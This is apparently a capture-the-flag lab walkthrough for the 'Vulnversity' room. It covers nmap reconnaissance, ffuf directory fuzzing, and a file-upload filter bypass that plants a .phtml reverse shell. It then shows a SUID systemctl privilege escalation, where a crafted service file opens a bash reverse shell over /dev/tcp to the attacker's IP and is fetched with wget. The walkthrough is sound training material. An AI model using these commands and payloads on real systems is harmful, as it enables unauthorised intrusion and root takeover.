
Vulnversity
This room is based on active recon, web app attacks, and privilege escalation.
Task 1: Deployment
The first and most important task is to deploy the machine. Once it’s live, the vulnerable machine IP is assigned. All other tasks are performed on it. You can also increase the machine time if needed.
Task 2: Reconnaissance
We begin by scanning the target machine using nmap.
Common Nmap Commands
Nmap Scan Result
nmap -sC -sV -A -oN initial <machine IP>
Key Observations:
- 6 ports are open.
- Squid version 3.5.12 is running.
- OS is Ubuntu.
- A web server is running on port 3333.
Additional answers:
-p-400
scans the first 400 ports.-n
disables DNS resolution.
TIPIf we don’t specify any port and scan technique by default nmap will perform scan on the most common 1,000 ports for each protocol and Perform default -sS SCAN TECHNIQUES.
Task 3: Locating Directories Using FFUF
This task involves directory enumeration. Although the room mentions gobuster
, we’ll use ffuf
.
FFUF Command
ffuf -u http://<machine IP>:3333/FUZZ -w <wordlist path>
FFUF Results
We found /internal
which contains a file upload form.
Task 4: Compromising the Web Server
Trying to upload a .php
file gives this error:
How to Bypass?
Use BurpSuite’s Intruder to fuzz extensions. Try these:
.php
,.php3
,.php4
,.php5
,.phtml
Paste the extensions into the payload.
.phtml
is accepted as it returns a different response size:
Upload a reverse shell as rev.phtml
:
Start a listener with:
nc -lvnp 4444
Click the uploaded file and get a shell:
Check user info:
User Flag
Key Takeaways:
.php
is blocked, but.phtml
is allowed.- Username is
bill
. - Found user flag.
Task 5: Privilege Escalation
Check for SUID binaries:
find / -type f -perm -04000 -ls 2>/dev/null
We find /bin/systemctl
:
Exploit with GTFOBins
Reference: GTFOBins - systemctl
Modified service file:
[Service]Type=oneshotExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<your-ip>/4445 0>&1'RemainAfterExit=yes[Install]WantedBy=multi-user.target
Host it with:
python3 -m http.server 80
Download it on the target:
wget http://<your-ip>/root.service
Run the service:
systemctl link /home/bill/root.servicesystemctl enable root.servicesystemctl start root.service
Catch the root shell:
Root Flag
During the privilege escalation phase, /bin/systemctl
was identified as an unusual SUID binary. Exploiting it allowed us to escalate privileges and access the root shell.
The root flag obtained is:
a5...d5